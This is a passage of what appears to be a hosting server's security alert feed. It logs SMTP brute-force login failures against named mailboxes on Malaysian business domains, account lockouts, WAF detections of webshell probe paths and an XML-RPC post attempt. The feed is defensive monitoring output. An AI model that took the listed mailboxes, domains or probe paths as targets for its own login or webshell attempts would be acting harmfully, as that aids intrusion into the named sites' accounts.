2026-01-31 23:00:03 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:45702: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:00:23 dovecot_login authenticator failed for H=(JyPAykjB) [158.94.208.215]:50612: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-31 23:00:52 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:42604: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.180.2.62
country_id: 1814991
description:
2026-01-31 23:01:08 dovecot_login authenticator failed for H=([222.180.2.62]) [222.180.2.62]:56016: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:01:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:01:14 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58852: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:01:11 dovecot_login authenticator failed for H=(RJyniFtFf) [158.94.208.215]:52099: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.43.172
country_id: 1819730
description:
2026-01-31 23:01:17 dovecot_login authenticator failed for H=172.43.246.220.static.netvigator.com [220.246.43.172]:50217: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:02:20 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63871: 535 Incorrect authentication data (set_id=testing@mams1.manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:02:59 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61240: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-01-31 23:02:09 dovecot_plain authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:4123: 535 Incorrect authentication data (set_id=laupk@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:02:23 dovecot_login authenticator failed for H=(FSxBcA) [158.94.208.215]:65088: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:02:21 dovecot_login authenticator failed for H=(4MHE6R) [178.16.54.138]:64460: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-31 23:03:12 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:47158: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 23:03:31 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:39344: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:03:38 dovecot_login authenticator failed for H=(AhklxXs) [178.16.54.138]:53846: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-01-31 23:03:04 dovecot_plain authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:62010: 535 Incorrect authentication data (set_id=laupk@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:03:11 dovecot_login authenticator failed for H=(azgeTD5kll) [158.94.208.215]:63993: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.109.81.90
country_id: 2017370
description:
2026-01-31 23:04:49 dovecot_login authenticator failed for H=([176.109.81.90]) [176.109.81.90]:29906: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.148.92.244
country_id: 1168579
description:
2026-01-31 23:05:00 dovecot_login authenticator failed for H=([103.148.92.244]) [103.148.92.244]:54107: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-01-31 23:04:11 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:49126: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:04:15 dovecot_login authenticator failed for H=(Mjq7mwssL) [178.16.54.138]:62902: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.146
country_id: 6252001
description:
2026-01-31 23:04:48 dovecot_login authenticator failed for H=syn-035-130-111-146.biz.spectrum.com [35.130.111.146]:35364: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-01-31 23:04:05 dovecot_login authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:27027: 535 Incorrect authentication data (set_id=laupk@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:04:23 dovecot_login authenticator failed for H=(yL2TY6) [158.94.208.215]:49777: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:05:28 dovecot_login authenticator failed for H=(TedfgbLjPH) [178.16.54.138]:61433: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:05:58 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58913: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.124.221.2
country_id: 2750405
description:
2026-01-31 23:05:53 dovecot_login authenticator failed for H=ip-213-124-221-2.ip.prioritytelecom.net [213.124.221.2]:49846: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:05:11 dovecot_login authenticator failed for H=(FfiPkcvz8) [158.94.208.215]:58433: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 23:05:24 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:54006: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.69.52
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/img/img/demos/img/demos/img/photos/about.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.74.12.86
country_id: 1269750
description:
2026-01-31 23:06:15 dovecot_login authenticator failed for H=([182.74.12.86]) [182.74.12.86]:40224: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:06:05 dovecot_login authenticator failed for H=(Xgpbhjoc) [178.16.54.138]:49680: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 46.176.157.17
country_id: 390903
domain: jpack.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:33191.jpack.com.my||ServerName:jpack.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f2dec7d8e03f8b9f2bd76845e21b2588d74c0cfe||Title:0xb6d9a963||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.69.7
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/img/img/demos/img/demos/img/photos/clientele.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:06:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:06:13 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:55223: 535 Incorrect authentication data (set_id=testing@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.184.74.105
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=75&page=2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:06:23 dovecot_login authenticator failed for H=(hyb5e4W) [158.94.208.215]:54035: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:07:11 dovecot_login authenticator failed for H=(usSAKQ) [158.94.208.215]:57422: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.212.37.145
country_id: 1814991
description:
2026-01-31 23:07:20 dovecot_login authenticator failed for H=(145.37.212.118.adsl-pool.jx.chinaunicom.com) [118.212.37.145]:57751: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.94.76.126
country_id: 1149361
description:
2026-01-31 23:07:38 dovecot_login authenticator failed for H=([180.94.76.126]) [180.94.76.126]:43938: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:07:52 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64011: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:07:19 dovecot_login authenticator failed for H=(Jsris8) [178.16.54.138]:60624: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:07:04 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54008: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:07:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:08:35 dovecot_login authenticator failed for H=(L6kSSGy) [178.16.54.138]:65305: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:08:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56679: 535 Incorrect authentication data (set_id=test@wcc.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:08:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:08:22 dovecot_login authenticator failed for H=(tmYDwi) [158.94.208.215]:65378: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:09:31 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51359: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.13.139.61
country_id: 2510769
description:
2026-01-31 23:09:57 dovecot_login authenticator failed for H=61.red-88-13-139.dynamicip.rima-tde.net [88.13.139.61]:50188: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-01-31 23:09:57 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:42746: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:09:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57790: 535 Incorrect authentication data (set_id=test@wcc.wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:09:10 dovecot_login authenticator failed for H=(IxgmVFBien) [158.94.208.215]:57804: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:09:12 dovecot_login authenticator failed for H=(4gMAQBT) [178.16.54.138]:60974: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:09:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.244.113.178
country_id: 2017370
description:
2026-01-31 23:10:06 dovecot_login authenticator failed for H=(91.244.113.178.wirenet.tv) [91.244.113.178]:48391: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:10:22 dovecot_login authenticator failed for H=(nOZXuo4J) [158.94.208.215]:57479: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.249.19.34
country_id: 1643084
description:
2026-01-31 23:10:41 dovecot_login authenticator failed for H=([103.249.19.34]) [103.249.19.34]:48306: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.98.147.214
country_id: 3017382
description:
2026-01-31 23:10:14 dovecot_login authenticator failed for H=ip214.ip-87-98-147.eu (ADMIN) [87.98.147.214]:51042: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:10:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-01-31 23:10:22 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:28938: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:10:26 dovecot_login authenticator failed for H=(msVZOJT) [178.16.54.138]:62055: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.68.52.210
country_id: 1269750
description:
2026-01-31 23:11:01 dovecot_login authenticator failed for H=([103.68.52.210]) [103.68.52.210]:40566: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.128
country_id: 2186224
description:
2026-01-31 23:10:37 dovecot_login authenticator failed for H=([121.73.163.128]) [121.73.163.128]:59254: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:11:03 dovecot_login authenticator failed for H=(re2lNVB6Z) [178.16.54.138]:51318: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:11:10 dovecot_login authenticator failed for H=(ebdEP67) [158.94.208.215]:56672: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:12:04 dovecot_login authenticator failed for H=(AUMZ8Dh9v) [178.16.54.138]:51402: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.98.28.43
country_id: 1269750
description:
2026-01-31 23:12:29 dovecot_login authenticator failed for H=([14.98.28.43]) [14.98.28.43]:48566: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.2.228.177
country_id: 1269750
description:
2026-01-31 23:12:20 dovecot_login authenticator failed for H=(static.ill.61.2.228.177.bsnl.co.in) [61.2.228.177]:56308: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:12:22 dovecot_login authenticator failed for H=(Tq7f3NzMn0) [158.94.208.215]:50873: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.34.195.88
country_id: 1522867
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/docs/getting_started/installation.rst HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.6.65
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=20821514510670 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:13:10 dovecot_login authenticator failed for H=(WqIAPzf) [158.94.208.215]:50260: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:13:19 dovecot_login authenticator failed for H=(poXi3AzHt) [178.16.54.138]:59698: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:13:31 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60559: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.57.184.151
country_id: 1269750
description:
2026-01-31 23:15:00 dovecot_login authenticator failed for H=([103.57.184.151]) [103.57.184.151]:57564: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:14:35 dovecot_login authenticator failed for H=(Bw9VPuq0Uw) [178.16.54.138]:54221: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-31 23:14:58 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:48198: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.170
country_id: 1269750
description:
2026-01-31 23:14:31 dovecot_login authenticator failed for H=([182.95.185.170]) [182.95.185.170]:45022: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.248.162
country_id: 1269750
description:
2026-01-31 23:14:41 dovecot_login authenticator failed for H=(033.162.18.125.dhcp.anaronline.net) [125.19.248.162]:45536: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.178.70
country_id: 1269750
description:
2026-01-31 23:14:47 dovecot_login authenticator failed for H=([182.79.95.167]) [122.185.178.70]:58632: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:14:09 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50231: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:14:22 dovecot_login authenticator failed for H=(yVaDB4G) [158.94.208.215]:50899: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.61.57.81
country_id: 1168579
description:
2026-01-31 23:14:30 dovecot_login authenticator failed for H=([39.61.57.81]) [39.61.57.81]:35633: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.17.91.226
country_id: 1562822
description:
2026-01-31 23:14:58 dovecot_login authenticator failed for H=([103.17.91.226]) [103.17.91.226]:42646: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 23:14:12 H=([64.89.160.15]) [64.89.160.15]:57592 F=<essenas@outlook.com> rejected RCPT <janice@smartcable.com.my>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:15:10 dovecot_login authenticator failed for H=(dNVPqMgZQ) [158.94.208.215]:62285: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-31 23:15:22 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:33590: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-31 23:15:33 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:12370: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 176.120.22.61
country_id: 2017370
description:
2026-01-31 23:15:38 188747 [Warning] Aborted connection 188747 to db: 'unconnected' user: 'unauthenticated' host: '176.120.22.61' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 23:15:58 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:61278: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.226.51
country_id: 1819730
description:
2026-01-31 23:16:00 dovecot_login authenticator failed for H=(223-197-226-51.static.imsbiz.com) [223.197.226.51]:60449: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:15:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 23:15:15 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:58254: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:15:17 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52185: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-31 23:15:10 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:35588: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:15:12 dovecot_login authenticator failed for H=(xUl5eCc9) [178.16.54.138]:64384: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-01-31 23:15:20 dovecot_login authenticator failed for H=([122.187.229.36]) [122.187.229.36]:33682: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-01-31 23:16:32 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:38291: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.232.126
country_id: 1269750
description:
2026-01-31 23:16:38 dovecot_login authenticator failed for H=(nsg-corporate-126.232.187.122.airtel.in) [122.187.232.126]:39716: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.127.217
country_id: 1512440
description:
2026-01-31 23:16:06 dovecot_login authenticator failed for H=([213.230.127.217]) [213.230.127.217]:38856: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.47.138.157
country_id: 6252001
description:
2026-01-31 23:16:16 dovecot_login authenticator failed for H=(136-47-138-157.googlefiber.net) [136.47.138.157]:47290: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:16:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:16:22 dovecot_login authenticator failed for H=(ZA56f6yeqv) [158.94.208.215]:52303: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:16:24 dovecot_login authenticator failed for H=(uWgfeT2) [178.16.54.138]:63828: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:17:10 dovecot_login authenticator failed for H=(B2JlUiN) [158.94.208.215]:63820: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.205.18.22
country_id: 1835841
description:
2026-01-31 23:17:39 dovecot_login authenticator failed for H=([175.205.18.22]) [175.205.18.22]:41718: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-01-31 23:17:54 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:33556: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:17:57 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:52930: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
